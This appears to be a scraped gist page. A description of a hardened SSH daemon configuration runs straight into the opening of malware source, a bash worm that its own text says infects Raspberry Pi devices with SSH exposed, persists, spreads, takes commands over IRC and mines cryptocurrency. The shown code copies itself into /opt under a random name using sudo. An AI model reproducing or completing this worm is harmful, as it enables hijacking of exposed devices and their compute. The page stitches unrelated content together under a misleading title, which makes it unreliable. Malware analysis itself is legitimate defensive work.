kawaiipantsu / sshd_config
Last active June 24, 2023 10:10
This is a secure and harden SSH Daemon config file, this is not just any other "harden" config file out there, i have commented on everything and also locked down even on host level and users and groups etc but in a way that should function on most out of the box environment but still give a way better harden sshd_config experience.

For analysis, this is a malware sample targeting clean Raspberry PI installations that might end up online/or with ssh exposed to the internet. It tries to be persistent and each victim will also contribute in infecting others. Uses a simple C2C IRC backend. The purpose of the malware is to main crypto currency via CPU
#!/bin/bash
MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG
if [ "$EUID" -ne 0 ]
then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`
sudo cp $MYSELF /opt/$NEWMYSELF
